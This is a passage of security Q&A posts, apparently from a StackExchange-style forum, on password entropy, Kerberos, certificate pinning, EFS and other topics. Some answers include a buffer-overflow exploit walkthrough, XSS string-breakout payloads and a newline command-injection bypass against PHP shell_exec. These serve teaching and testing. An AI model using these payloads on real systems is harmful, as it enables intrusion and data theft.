But the key space is still the same, correct?

No, the order in the second password is NOT "more random". Randomness is not in the password itself, but in the way the password is generated; it does not relate to what the password is, but to what it could have been.

Password security is probabilistic: security is about the average success rate of the attacker. A single password is just that: a single password. To talk about the space of possible passwords, you need to envision the repetition of the scenario a huge number of times. The attack scenario really is the following:

The defender generates a password. The generation method uses some random choices (that the attacker does not know) and a deterministic mixing (that the attacker may know).
The attacker then tries to work out the password by trying possible password values, until he hits the right one.

We assume that the attacker knows everything except the random choices, and thus tries possible password in optimal order.

For instance, suppose that the generation method is: "take five random lowercase letters, followed by four random digits". This generation method may produce exactly 265·104 = 118813760000 possible passwords, and they are all equiprobable, so the optimal attacker will have to try half of them on average (59406880000).

Now, suppose that the generation method is: "take five random lowercase letters, and four random digits, and order them randomly". That generation method can produce 14970533760000 possible passwords, there again equiprobable. The attack cost raises to 7485266880000, 126 times the cost implied by the previous method.

Let's now switch again the generation method to: "take two random letter, followed by a random digit, then a random letter, then two random digits, then two random letters, then a random digit". The number of possible (and equiprobable) passwords is now back to 118813760000 and the attack cost is 59406880000 (on average).

Now is the important part: your first password example (klens4275) is possible with both password generation methods 1 and 2 -- but in the case of the second method, the attack cost is much higher. Similarly, your second example (kl7e25ns4) is possible with password generation methods 2 and 3; and, again, the attack cost is much higher with method 2 than method 3. So this shows that a password does not have strength "by itself". What matters is how the password was produced, because the generation method defines the space of possible passwords, therefore the optimal attacker's strategy and average cost.

Note that attack strategies are also probabilistic, and make sense only on average. If you consider a single password cracking effort, the best attack "strategy" is: get lucky, just try the right password on first step. This is intellectually unsatisfying. The notion of "optimal strategy" really means: the strategy which will yield the smallest attack cost on average (over billions of cases of password cracking).

So we can summarize as follows: a "random placement of letters" increases security if (and only if) it is indeed part of the random choices made for each password generation. In my example "password generation methods", only method 2 includes such an element. Note, though, that the following fourth method is actually even better: "take 9 random letters-or-digits". This raises the number of potential passwords to 101559956668416, almost 7 times as much as method 2 (and that's the best you can get if you want the password to always consist in 9 signs which are only lowercase letters and digits).


Is it safe to back up passwords to the "cloud" I have a small Truecrypt volume that contains just my password data (using Bruce Schneier's Password Safe application).

I'd like an offsite, secure, backup of that Truecrypt volume. Currently, I am using mainly Spideroak, but this question would apply to any such "cloud" storage services.

Backing the volume up to the cloud means exposing it to my ISP, god knows how many other downstream servers, the storage supplier, and every eavesdropper in town. Plus I may be backing it up weekly, so there'd be a series of files available for anyone who wanted to do differential analysis.

Just how safe are my passwords when out of my hands and on all those other machines?

I am not paranoid enough to assume I am being specifically targeted (if I were, the men in black would have plenty of other ways to get to my computers), but leaks and opportunistic attacks do occur(if they didn't, I could go with plaintext files).

Doing this makes your data marginally less safe, since "the cloud" is just a fancy name for "someone else's computer".

However, you already have implemented a good control against offline attacks in Truecrypt. And, you've gone with SpiderOak, which is one of the safest cloud providers. So the risk increase is very small.

At the same time, you have also made them considerably more safe, because you are doing off-site backups.

All things being equal, then, you have decreased risk overall.


Sufficient to only install security updates on Debian? On my Debian, I only do security updates:

deb http://security.debian.org/debian-security/ buster/updates main

deb-src http://security.debian.org/debian-security/ buster/updates main

For example, Debian recently migrated from 10.3 to 10.4, but I still use version 10.3 and automatically install available security updates.

Is that enough for security?

That should be enough, until they announce that the version is so old that it won't be supported anymore (at which point they'll stop providing security updates). Since this is one of the newest releases, you should be fine, at least until 2022 if this table is accurate.

Think of it this way: if it wouldn't be enough for security, why would they continue to provide security updates?

Of course, just installing security updates doesn't prevent you from making your system insecure by other settings (weak passwords etc.), but in that regard there is no difference between 10.3 and 10.4.


Why first kerberos message is not ciphered When analysing Kerberos exchange (and other similars as Needham, Denning, etc.) I wonder why the first message where the identities of the client and remote are not encrypted.

In case not encrypted I give a possible attacker the knowledge of who I want to communicate with. As the Client and KDC shares the key we can encrypt it and therefore not provide that information which can be used as a basics to bruteforce attack using for the return and encrypted message (I know 2 of the parameters).

Maybe it is a silly question, but ...

Edit: I don't mean to have IDa ciphered but the rest of the information in the KRB_AS_REQ, as for instance the IDtgs. If you keep that open an attacker knows at least who do you want to talk and therefore the KRB_AS_REP can be exploit.

Encrypting the very first message sent from the client with the secret key would present significant issues for the Authentication Server.  If this initial request were encrypted, the Authentication Server would not be able to determine which user made the request and therefore which secret key is needed to decrypt the same request.

This cleartext communication between client and server that you're observing is called the pre-authentication phase.  This pre-authentication step was introduced in Kerberos5 to address a weakness wherein anybody could submit a request for a TGT for any user(principal) within the realm.  This ticket response was encrypted with the user's secret key/password.  Once an attacker obtained this encrypted ticket, an offline attack could then be performed to ascertain the user's password by attempting to decrypt the ticket.

The RFC does briefly cover this under section 3.1:

https://tools.ietf.org/html/rfc4120

Hope this helps!


Does Google Cloud Run (or AWS Lambda) rely on container isolation or KVM? I was wondering if it is secure or not to run containers from different customers on the same machine. Basically I was investigating the level of isolation / security provided by Docker alone.

Then I found Google Cloud Run, and I was wondering which one of the following is true:

Does it relies only on Docker isolation and runs the containers of different customers on the same nodes? In this case, the answer to my original question would be "yes, Docker container isolation is high, even Google relies on that"
Does it run Docker containers inside VM (created with KVM) and each VM is dedicated only to one specific customer? In this case, the answer to my original question would be "no", but I would have also additional doubts (i.e. how does Google instantly creates/destroys an entire VM, for each single request... this seems an impossible job).

I think that the same question can be also applied to other server-less solutions like AWS Lambda.

Google cloud run makes use of gvisor (info here), to provide it's container sandbox.
AWS Lambda makes use of firecracker (info here) for it's sandbox.
Whilst Docker with runc containers provides a reasonable level of isolation for many workloads (and can be further hardened from its default settings) both Google and Amazon are operating with arbitrary possibly malicious code and a threat model that includes high end attackers, so it makes sense for them to look at options which may provide a smaller attack surface and higher level of isolation than standard Linux containers.


What’s the security risk when setting the Gnome keyring password to blank on an FED system with autologin? My system disk is full encrypted with luks. My Ubuntu logs in automatically, because I am the only user. But I still need to unlock my Gnome Keyring and I wonder, if there is any sense for that. Because I always unlock the keyring when I login, so it is always accessible while the computer is running. What if I would set the password to blank, what could be the security risks?

The only reason I can imagine is, if I would do any stupid like backing up the keyfile to a non encrypted device or sending it by mail, it would still be password locked. But I shouldn't do something like that anyway.

There is no security risk to doing this, assuming the following are true:

Your disk encryption password is sufficiently strong to remain unbroken.
The keychain will always be open any time the encrypted disk is mounted.
You don't copy the keychain database to an unencrypted medium.

If you always and immediately unlock your keychain while the system is on, then there is no real benefit to encrypting it again, assuming you are using a sufficiently strong FDE password. The only real benefit to encrypting the keychain is if the database is stored on an otherwise unencrypted disk, or if you only unlock it when you need it (effectively preventing a malicious process from reading it until you enter the password, even if that malicious process has root).


How can I prevent a man-in-the-middle (MITM) attack on my Android app API? I checked out the app Packet Capture.

This app is able to decrypt my app APIs (SSL Enabled) data by mounting a MITM attack using the Android VPN service. This does not even require root.

How can I prevent it? We want to transmit secure data through our servers to Android devices.

That app (and all MITM proxy apps such as SandroProxy and mitmproxy) work by installing their own trusted CA certificate on the device. That allows them to sign their own certificates which the device will accept.

You have to manually install their certificate to the user key-store using a dialogue such as this:

After which it displays warnings such as this:

It's unlikely (albeit not completely impossible) that a user would do this unintentionally, so overall it's a reasonably low threat.

Having said that, if you want to protect your App even if someone has installed a malicious CA certificate then you should implement certificate pinning.

If the device is rooted then it is conceivable that an attacker could install a malicious certificate, conceal it, and modify your Apps to compromise validation and prevent pinning. However, if something rogue has root access then essentially your entire device is compromised any way.


Risks with setting up a authentication-less public VPN I'm in the process of setting up an authentication-less public VPN. To prevent against DoS attacks, I'm going to set up some sort of IP address based rate limiting. The VPN is port-bound, i.e., it will only connect to ports 80 and 443 of other sites.
(1) What sort of attacks could I expect (i) on the VPN (ii) conducted via VPN on other websites?
(2) Are there ways in which I can prevent those attacks?

What you're essentially doing is setting up an unauthenticated public proxy with all of the security problems that come along with that.
First of all, your proxy will likely be of interest to several governments and large corporations, since it can be used to bypass filtering or location restrictions (e.g., for streaming sites).  That may lead to overuse or attacks on it to knock it offline.
More importantly, because anybody can use the VPN, it will be used for pretty much any type of abuse imaginable.  Things like sending spam via webmail, conducting DDoS attacks on other people, harassment, sending threats or SWATting people, exfiltrating data, or any of the variety of other unsavory things people do on the Internet.  Limits on rate and ports don't prevent any of these things from happening, since a single person can do a lot of damage with just a little bit of access to websites.
Besides these being bad for other people, your provider probably won't appreciate the abuse complaints, and you may acquire legal liability in any number of jurisdictions for facilitating these activities.  Since there's no authentication, you won't know who's responsible for this behavior.  Moreover, your IP addresses will probably be blocked pretty quickly, so you'll find that the VPN stops working for a lot of sites.
My strong recommendation is not to do this.  Providing this kind of service is not really a good idea on the Internet today because a small number of bad actors can do a huge amount of damage and if anything goes wrong, everybody will blame you.  Everyone providing abusable Internet services has the responsibility to have a robust system for dealing with abuse, and it doesn't sound like this design is going to provide you the opportunity to do that.


Large amount of foreign IPs hitting out firewall, is this automated scans or are we under attack? I just got put in charge of a network. In the logs on our firewall I noticed that we had a large amounts of machines trying to connect to port 53 as well as about a dozen other ports. Are these automated scans, PC's with malware or are we under some kind of attack?

Most of these Ip's are not from the United States, I've seen Russia, S. Korea, and Pakistan plus other countries. I deleted the log and it instantly started filling back up.

Also what should be the next step, I'm going to see if this firewall has some kind of a log that shows connections inside trying to go out, or active connections. It's a Zywall USG 50.

update

It's been an hour and firewall has been hit 289 times, that doesn't count multiple packets being dropped (as in drop= 2,3,4ect).

update 2

so the only weird thing I can find, is weird UDP traffic on port 80 for the DMZ that I did not set up. I'll speak with the client's tomorrow and see if they know what is on the DMZ (they will not smh). Other then that I do have a large ammount of traffic hitting the firewall on port 53 but no of the active connections/sessions or data I logged on the network seem to point to anything.

Being hit hundreds or thousands of times per day is completely normal, and I wouldn't worry about it at all. There are a few major sources of suspicious traffic:

Automated scanners. A number of organizations "map" the Internet and produce a ton of traffic. They do so more or less randomly. I've gotten a lot of traffic on ports 80 and 443 despite not actually hosting a website.
Misconfigured systems. Computers are finicky things, and it's easy to accidentally start bothering another user's servers.
Script kiddies. Some attackers will blast a large number of potential targets, hoping to hit an unpatched system.

Port 53 is used for DNS. It's possible that somebody is simply mapping out DNS servers. It's also possible that an attacker is trying to exploit your systems - as long as you're up-to-date on patches, though, it's a non-issue.

So to reiterate, I wouldn't worry about this at all. You should get concerned if you start seeing enough incoming requests to constitute a denial of service, though.


Can a Man In The Middle attack cause a certificate error? I  was playing around with Ettercap and I performed an ARP spoofing, MiTM attack on a friends computer as a joke. Now (about a day later) she tried to login to a website for work and it said "Your connection is not private" NET::ERR_CERT_DATE_INVALID . She can still access email, Facebook etc. I am almost certain it is not my fault. However it seems like a HUGE coincidence that their certificate just happened to expire a few hours after the MiTM attack. I also tried connecting to the site with another computer and then connected a mobile hot-spot to the computer and tried connecting again. I still get the same error. Is there any chance that this is my fault?

 UPDATE:

My friend contacted a coworker (Who is in a different country) and the coworker said that she can't connect either. So it is not my fault after all. Apparently their SSL certificate has expired.

Ettercap man in the middle SSL by using a certificate issued for the right common name but signed by ettercap. So you will never produce an error like ERR_CERT_DATE_INVALID by using this tool.
You will see errors like ERROR_UNKNOWN_ISSUER.

After you stop your attack, ettercap send good ARP opportunistic packets to restore the good behavior in your network. The last side effects disappear in the following 10 minutes most of the time.

So, this is not your fault.

If you want to perform ARP man in the middle without raise SSL certificate errors, you have to use the -S option.
beware, many people make the error to think that SSLstrip is about to man in the middle SSL certificates. It's wrong, SSLstrip only try to downgrade SSL connections to unencrypted ones (HTTPS to simple HTTP for example).


Vulnerability in which part of the Android architecture would allow an attacker to take control of the hardware This question is intended for better understanding of security features of Android architecture.
In particular, I want to know what part of the architecture needs to be secure to prevent an attacker from gaining control of the hardware (say speaker, or microphone).
Specifically, is it the Linux Kernel, the Android OS, or the DVM?

Specifically, is it the Linux Kernel, the Android OS, or the DVM?

All of this. And also the firmware.
Bugs in the virtual machine would allow the attacker to change what an application is supposed to do, which is especially a problem if the application is allowed to access the specific hardware. Bugs in the Android OS could mean that an attacker could exploit bugs in privileged applications and thus gain access to the hardware. Bugs in the kernel could mean that separation between processes and also restrictions regarding access to hardware are not properly implemented. And bugs in the firmware might even allow direct manipulation from outside, like from WLAN or bluetooth.


Is it safe to just forget OAuth tokens, and not invalidate them in a mobile app? I have a mobile application that a user signs into using OpenId Connect and OAuth 2.0. Currently when the user logs out, I open up a webpage to the end_session_endpoint (http://docs.identityserver.io/en/latest/endpoints/endsession.html), the user clicks sign out, and the token is invalidated.

Can I do this without user interaction? I understand that there may be a way to non-interactively end the session, but what if I don’t even end the session? What is the security implication of just forgetting the tokens in the mobile app? They will presumably remain valid until they expire, which is currently ~10 days.

The answer to most "is it safe to ...?" questions is: It depends based on your threat model.

For most business scenarios I would say not invalidating the session is a bad idea due to session hijacking attacks, 8-12 hours is enough for a session considering business hours.

However since OAuth 2.0 is also being used in this scenario for authentication, there is an additional layer for the attacker (considering the attacker does not already have a valid OAuth token).

In the end we will not be able to provide a clear/direct answer since we do not have the threat model, I can only give an educated assumption based on how little I know about the entirety of this scenario. Leaving valid sessions in the backend is not a good idea for most cases so I will recommend against it. It's better to define proper rules for ending/invalidating unused user sessions, and prompting again for authentication.

Cheers,
Filipe


Bypass NTFS Encryption via Password Change (Encrypting File System) Is it possible to bypass NTFS encryption if the password used to encrypt the RSA key is a password to an AD account? So if an administrator can simply change your password, they would then be able to decrypt your files. My understanding of Encrypting File System is that the user's RSA private key is encrypted using a hash of the user's NTLM password hash plus the user name. If a domain admin can simply change the password, would this allow bypassing of Encrypting File System?

Under normal circumstances, changing the user password from an administrator account will result in the user's EFS encrypted files being lost. If the original password can be set back and the user's key is not changed, then the files can be decrypted again. This is true whether the user is an AD user or a local user, and the password is changed by using an AD/local administrator account.
For domains, it is possible to set up a Data Recovery Agent (DRA). This allows for the recovery of the decryption key if the original key becomes unusable. The DRA can be used to decrypt the files, so it's not necessary for an admin to change passwords to get to the data; they can just use the DRA's certificate to decrypt them.
The DRA could potentially be used to attack systems with automated password reset features. In the linked DRA page, there's a section on automated recovery of the encryption keys (for Azure Active Directory accounts). If an attacker can force a password reset to a known or chosen password, then they may be able to login with the new password and automatically recover the decryption key from Active Directory.


Disguising the type of hash used I've read about why MD5, SHA1, and many other hashing functions are insecure, by a lot, but I'm thinking of doing a different approach.

It won't increase security, I'm aware of that, but I believe it can make cracking the hash much more difficult.

Let's say I hash some information as for example we'll use hellworld using MD5, and obtain 128bit hash:
fc5e038d38a57032085441e7fe7010b0

Now I'm thinking of disguising it to look as if it was SHA1, 160-bit hash.
I could append padding to the start/end and much better, in between, at fixed/or based some logic.

So our output hash would look like this fc5e038d38a57032fafe46a9085441e7fe7010b0

Which is actually formed like this
fc5e038d38a57032 + fafe46a9 + 085441e7fe7010b0

(I split the original hash right in the middle and added some (random) padding in the center.)

Would this make it more difficult to crack hashes as it would confuse attacker (assuming he cannot tell that it's a disguise)?

How would one crack this and find the orignal text? Without accessing any server files of course.

You have basically created a custom hashing algorithm. If no one knows how your algorithm works and no one knows that it is trivially based on MD5, then it will be extremely difficult, if not impossible, to crack this hash. So, to answer your question directly about the hash, it is likely going to be uncracked without further knowledge.

The only real danger here, and it's not a trivial problem, is that if someone finds out how your algorithm works, then your efforts offer no protection at all.

This is known as "security by obscurity". It is secure as long as the attacker forever remains ignorant. One look at your algorithm and the hashes are equally crackable as MD5.

If you hide your front door, then someone with your keys will not be able to get in... Until they find your front door. It is always better to have better keys and locks.


Is EV green extended validation slower than a regular SSL? How does EV green extended validation SSL certificate affects the speed of my web site (if at all) comparing to a regular SSL?

Also, my provider only allow the EV green certificates to be on the root (no sub domains or wildcard *. allowed). Is that normal? Can I mix EV green for the root and regular SSL for all sub domains *.mydomain.com ?

Is EV green extended validation slower than a regular SSL?

A EV certificates is just a normal certificate but with a few special issuer specific X509 extensions. The browser compares these extensions against the extensions expected for EV certificates on the issuers CA and if they match it will show the green EV bar.

These special X509 extension are not related to the strength of the certificate and in fact the strength used is the same as with any other modern certificates, i.e. usually 2048 bit with SHA-256 as signature algorithm. This means the time needed for validation of the certificate is usually the same as with other certificates. The only major difference is that browsers usually require a successful revocation check with OCSP when connecting to a site with an EV certificate. And if no OCSP stapling is used this revocation check will result in an additional TCP connection to the OCSP responser which will slow down the initial connection setup.

  ... my provider only allow the EV green certificates to be on the root (no sub domains or wildcard *. allowed). Is that normal?

The rules for EV certificates are defined by the CA/Browser forum. Thus you will find in section 9.2.3 that wildcards are not allowed:

  Wildcard certificates are not allowed for EV Certificates.

I don't see any special rules for sub domains though.

  Can I mix EV green for the root and regular SSL for all sub domains *.mydomain.com ?

You could do this in theory. But it would be better to simply include all the hostnames you use into the EV certificate as subject alternative names.


Can PCB's contain spyware? I'm thinking about purchasing a keyboard PCB from someone overseas, but I'm not 100% sure if it's safe.

The firmware I'm going to install is QMK which is open source and I feel safe using it.

However, the PCB itself is making me a bit paranoid..

Possible, yes. But hardly probable.

Unless you have motives to believe someone would put lots of money into an operation to infect you specifically, you don't need to worry. Not only a custom hardware implant is expensive to create, but you will flash a custom firmware too. Software implants are cheaper and easier.

If you are a special target for working for a government, large corporation, news  or human rights organization, ask your technical support team for directions. If you are not, you are being overly paranoid. Even if you are part of the target list, infecting your systems using software is way easier, faster, reliable, and easily deniable. Hiding a hardware implant is way more difficult than running a software implant on your computer that runs only in memory, forces a reboot if discovered and leave no traces.

If you are paranoid enough to distrust the keyboard you are buying, consider building it yourself, with off the shelf pieces you buy yourself. It's overkill in my opinion, but will make you feel safer.


Private ip address revealed by nginx, should I worry? I run nikto on a server, let's say www.example.com and it says the following:

  OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. The value is "A.B.C.D".

I have nginx as a reverse proxy with ip "A.B.C.D" and behind a few web servers. Is really risky revealing the private address?

If so, how can I prevent that http client gets the nginx private IP address?

It is but information leaking. So on its own and at face value, don't worry about it*.

On its own it's not something that could be turned into an attack. It is, however, information that an attacker could use to leverage other vectors.

On the other hand, it's normally not at all difficult to mitigate, so best to pick up a few resources and start trying to omit this information;

(*) some auditors might disagree to this conclusion;


Buffer overflow attack, executing an uncalled function So, I'm trying to exploit this program that has a buffer overflow vulnerability to get/return a secret behind a locked .txt (read_secret()).

vulnerable.c //no edits here

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
   if ( n == 0 )
      return 0;
   else if ( n == 1 )
      return 1;
   else
      return ( fib(n-1) + fib(n-2) );
}

void vuln(char *name)
{
    int n = 20;
    char buf[1024];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
      f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
      printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    }
}

int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

attack.c //to be edited, doesn't have to be in Python

#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

I know I can cause a segfault if I print large enough string, but that doesn't get me anywhere. I'm trying to get the program to execute read_secret by overwriting the return address on the stack, and returns to the read_secret function, instead of back to main.

But I'm pretty stuck here. I know I would have to use GDB to get the address of the read_secret function, but I'm kinda confused. I know that I would have to replace the main() address with the read_secret function's address, but I'm not sure how.

Thanks

Alright, let's do this step-by-step.

As you said, you have to fill the buffer with junk data until you overwrite the instruction pointer.

First, you need to find out how many bytes you have to send in order to completely fill the buffer.

You have to try with various length junk data, until the program crash with a segfault.

/task2/vuln "$(python -c "print 'A' * 1026")"

/task2/vuln "$(python -c "print 'A' * 1028")"

/task2/vuln "$(python -c "print 'A' * 1029")"
(Segmentation fault)

Next, you need to be sure that you are indeed controlling the instruction pointer, and not just crashing the program.

We'll send the 4 bytes string "BBBB" right after our 1028 bytes junk data (also call a padding). It should overwrite the instruction pointer with the value "\x42\x42\x42\x42" ("BBBB" in hex).

/task2/vuln "$(python -c "print 'A' * 1028 + 'BBBB'")"
(Segmentation fault)
> dmesg | tail
You should see something like "Segmentation fault, Invalid EIP (0x42424242) [...]

Finally, we need to find the "read_secret()" address, in order to overwrite the instruction pointer with it:

gdb /task2/vuln
> info functions
[...]
0x44434241    read_secret()

So the final exploit look like:

/task2/vuln "$(python -c "print 'A' * 1028 + '\x41\x42\x43\x44'")"


Breaking JS String XSS I've been searching for XSS vulnerabilities in a friend's website (blackbox) and in one of the pages he takes your input and puts it inside a js script, window.location="[INPUT]";
I couldn't break the quotes because they are being replaced with &quot; and %22 stays %22, But I can put a \ at the end of my input and it escapes the original quote (window.location="[INPUT]\";) Which gives me an unterminated string but I can't influence any code after that so there's no XSS there, right? All I can basicly do is break the code and that's it

Edit:
--Some more info--

<, >, & and " are being replaced with &lt;, &gt;, &amp;and &quot;
the server checks if INPUT begins with http:// or https://

Things I've tried:

Break the string with </script> => being replaced with &lt;/script&gt; (and fails)
Tried to break it with URL Encoded </script> (%3C%2Fscript%3E) but it shows it as string (window.location = "http://test.com%3C%2Fscript%3E\";) and the error is still SyntaxError: unterminated string literal

This is not exploitable.

You cannot escape the string because quotes are encoded. (" -> &quot;)
You cannot escape the script tag context because angle brackets are encoded. (< -> &lt;)
You cannot create anything but http[s]:// URLs because the beginning of the string is checked. It does not matter what you append after the protocol part, you cannot turn this into a data: or javascript: URL afterwards.

There are other tricks you could try but they are implementation-specific. There is no evidence they would work in this case, so these are just a few examples to give you an idea:

Maybe the filter stops after a NULL byte? (e.g. http://%00"<>...)
Maybe for some reason unicode variants work? (e.g. U+FF02: ＂)
Maybe other encoding schemes work? (e.g. \x22 instead of ")
etc.


Android security document comparable to Apple's security document? Is there an Android security document comparable to Apple's Security Document (PDF)?  Does such a comprehensive document not apply because Android is only the OS and Apple makes the hardware and the OS and tightly couples them?  Would such a document have to be made or customized per each manufacturer for each model handset of Android device?

NOTE: This document, while technical in nature, is not written by or for programmers.  I have found that most Google documentation is by and for programmers.  I can read and write code, but I'm not looking for code.  This blog post quickly dives into code and is an example of what I am referring to that dives straight into code and APIs.

I have found recent information and technical details, but they are referring to now-old versions of Android, or referring to Android Lollipop when it was still prerelease.

Which android devices have optimized encryption hardware?
Canonical explanation of Android Encryption and Vulnerabilities
Android L encryption vs. iOS 8 encryption

Official documentation on Android security can be found on the AOSP site. However, I would expect a non-programmer to only understand a subset of that documentation.


Is there a way to notify me when my Android phone connects to an unencrypted GSM network? As far as I know when a phone connects to a GSM (2G or 3G) network, the connection is encrypted. When I get in range of let's say an IMSI Catcher, I imagine this connection will not be encrypted in any way, so they can listen to all my calls.

Is there a way for my phone to let me know that it has connected to an insecure GSM network?

In case you are not aware, many people have considered GSM security to be weak and there are freely available rainbow tables for decrypting GSM. Any determined eavesdropper with off the shelve equipment will be able to listen to your calls.
You might be interested in reading this Are phone calls on a GSM network encrypted?

But if you are worried about the security of your calls, it should be safer to use Skype instead :)


Is android pentesting partially similar to web pentesting? I'm already into web pentesting. I'm willing to learn android pentesting now.
From what I understand, the server side part like API etc is similar to web pentesting and I need to learn about client side bugs.
Am I correct?

It will depend on the application(s) that you end up reviewing, but typically in terms of skillset, for Android mobile applications there's a couple of areas to cover in addition to web API knowledge.

Knowledge of the Android ecosystem. How the operating system works, and what good practice and common issues look like. So things like how should secrets be stored on the client device, permissions that applications can/should request.

Often pentesting an Android application would be best done in a white-box fashion, so being able to read and understand the language(s) commonly used to create android applications and common application frameworks is likely to be helpful.

Server-side (where the application is communicating with a remote server) then yes these are often (but not always) REST APIs, so knowing that + common supporting technologies (e.g. OAuth) is likely to be valuable.


Securing data at rest For an API request to my application, I store the data in the request object temporarily in an XML file before it is pushed to the database. Although the XML files are stored on a secured server at a firewall-protected data center, should I look to encrypt the data in the XML files to make it more secure? What are the best practices here?

Encryption does not produce security, it concentrates security. Namely, encryption will help in keeping data confidential from people who don't know the decryption key. Your application, though, must know that key in order to decrypt the data again before pushing it to the database.

An important first step is to define your attack model. What are the attackers trying to achieve, and what can they do ? For instance, you may use the following:

Attackers want to learn the contents of some requests. This is a problem even if the request is old.
Attackers can recover old hard disks by practicing dumpster diving.

Then, in that situation, if you write the XML requests to files on your disk (even temporarily), attackers may obtain from an old discard disk some confidential data. Encryption may help, but only if done properly and, crucially, only if the decryption key is not itself written to the same disk. Alternatively, you might want to configure a RAM-based "disk" on your system so that the XML files never reach a physical medium in the first place.

If your model is more about attacker temporarily hijacking your server through some vulnerability, then encryption won't help, because the server must know the key -- thus, it becomes known to attackers as well.


Are unescaped backslashes dangerous in terms of XSS? I thought the \ (backslash) character was a dangerous character that you needed to filter out/properly encode to protect against XSS attacks (OWASP says so, too), and I still do, but why?

I found a website that stores the search query when you search the website in a JavaScript variable, like this:

var_name = "query"

It does filter out double quotes, single quotes and semicolons, but I'm able to use things like \n and \r (although \r seems to just render whitespace...)
but for some reason I'm just now able to get the alert() called successfully.

I've played around with \n, like putting a few before and after alert(), and also escaping the closing double quote:

var_name = "\n\nalert()\n\n\"

But nothing seems to work.
I think I'm missing something obvious here, but if someone could help me out here and clarify this I'd be grateful!

Unescaped backslashes can be dangerous, depending on the context.

Let's assume that X and Y are user-controlled (with ' and < escaped, but not \). Then, this is exploitable:

<script>
var name = "X"; var id = "Y";
</script>

An attacker can set X to \ to escape the first string's closing quote ("), and set Y to ;alert()// to inject the payload and comment out the superfluous ";. The line would then look like this:

var name = "\"; var id = ";alert()//";
           |---string----|        |--comment ...

But this is not exploitable:

<script>
var name = "X";
var id = "Y";
</script>

Even though an attacker can remove the first closing " here too, a single- or double-quoted string can only span multiple lines if each previous line is ending with \. But in this example, even if the attacker can inject newlines, all they can do is provoke a syntax error, no script injection because they don't control the end of all lines in the string.

OTOH, if these strings were in backtick quotes ("template literals"), they could span multiple lines without issues and the attack would be feasible.

So, if a JS string with unescaped backslashes is XSS-able depends a lot on the context. But in many cases you will need at least two injection points to insert a payload after you used a \ to break out of a string.


Can I inject a shell command here in PHP? During source code examination for a client, I found this code. It gets unsanitized parameter from GET, sanitizes it and does shell_exec()

$arg = $_GET['arg'];

// sanitization, I suppose...
if(preg_match("/[#\&\\+\-%@=\\\:;,\.\'\"\^`~\_|\!\/\?\*$#<>()\[\]\{\}]/i", $arg, $match)) exit;

$code = shell_exec("/some/app $arg");

echo $code;

I know that you need to escapeshellarg() before piping to shell_exec(). I’m not here for that answer.

My question is, how can this code be exploited to run arbitrary commands by an attacker? How can an attacker bypass that particular preg_match?

At least, the newline is not escaped, so, you can bypass it via /index.php?arg=%0Als (it should list all files from the current directory).

Also, there is a possibility to get a Full Path Disclosure passing arg as an array (/index.php?arg[]=1).


Does the Heartbeat Openssl Bug also affect Servers who enforce Client Authentication? Regarding the priority to upgrade servers, I want to confirm this, as I read in https://tools.ietf.org/html/rfc6520 chapter 3:

  However, a HeartbeatRequest message SHOULD NOT be sent during
  handshakes.  If a handshake is initiated while a HeartbeatRequest is
  still in flight, the sending peer MUST stop the DTLS retransmission
  timer for it.  The receiving peer SHOULD discard the message
  silently, if it arrives during the handshake.  In case of DTLS,
  HeartbeatRequest messages from older epochs SHOULD be discarded.

Am I correct to think that, if a server only accepts SSL connections from known clients, no one else can exploit the bug during the handshake?

My understanding is that the message should be dropped and that the server does not answer.

Apparently, the affected versions of OpenSSL don't implement that "SHOULD": they honour heartbeat messages during the handshake. Yeah, OpenSSL should discard such messages until the handshake has been completed -- but it should also not return data bytes outside of its buffer, and yet it does.

Therefore, no, requiring a complete handshake with client authentication does not protect against the bug.


Is it safe to use TFTP on a local network Is it safe to use TFTP on a local network to backup configurations? For example we had an experiment where there was an attacker using MITM technique to read all traffic destined for a server. On a Cisco switch, a backup was made and copied and sent to the TFTP server but the attacker was able to see the configs. And to make it worse there was no service password encryption command issued.My question is is there a safe way to transfer for example the config file without it being intercepted?

I think you've answered the question yourself mostly: unless there are protections against sniffing inside the network an attacker could be able to see the configuration.

But if this is a problem in your specific environment cannot be decided, because it is unknown if you have protections against sniffing or if the configurations are free from sensitive data.


What is an inline script? For some reason, Google couldn't give me the answer easily...

I was reading a Google publication on the insecurity of currently deployed Content Security Policies (CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy) To understand fully, I want to be absolutely clear of all the terminology so whilst this may sound like a simple question, the answer will help with my learning of mitigating against XSS vulnerabilities.

Basically anything that runs without the need to include a separate file.

<script>
document.write('Hi, I am inline');

function myFunction() {
    console.log('So am I')
}
</script>

The reason the paper mentions this is that this piece of code cannot be validated as 'secure', without running it (or perform code analysis). When you only allow scripts by includes (<script src="myscripts.js"></script>) the browser can decide if it wants to load the script based on the response and CSP headers. Same is true for CSS files. This is an effort to prevent malicious code
execution.


File encryption for a storage API I'm implementing a Dropbox-like API, and one of my requirements is to have the files stored encrypted on the server. It is not required that the files are made unreadable by the server, only that they aren't stored clear on disk. I'm using Python with Flask for the API part and PyCrypto for the encryption.

I know absolutely nothing about crypto and don't want to make anything (too) stupid. This is what I have implemented, please tell me how [un]reasonable it sounds:

When the user PUTs a file, the content is encrypted as it is read from the network using AES-256 MODE_CTR (I wanted to avoid the block size restriction of MODE_ECB and MODE_CBC)
The encryption key is the user hashed password: this avoids using a single 'server key' for every stored file, and makes the files unreadable if the user happens to change password
The counter generation uses Crypto.Util.Counter with a  random initial_value parameter which is specific to each file and stored in database (just like a password salt)
I'm considering extending the API to allow the user to provide his own encryption key along with the PUT request. He would then have to provide that same key in his GET to retrieve the deciphered content.

Of course, communication with the API is done over HTTPS.

Very unreasonable.

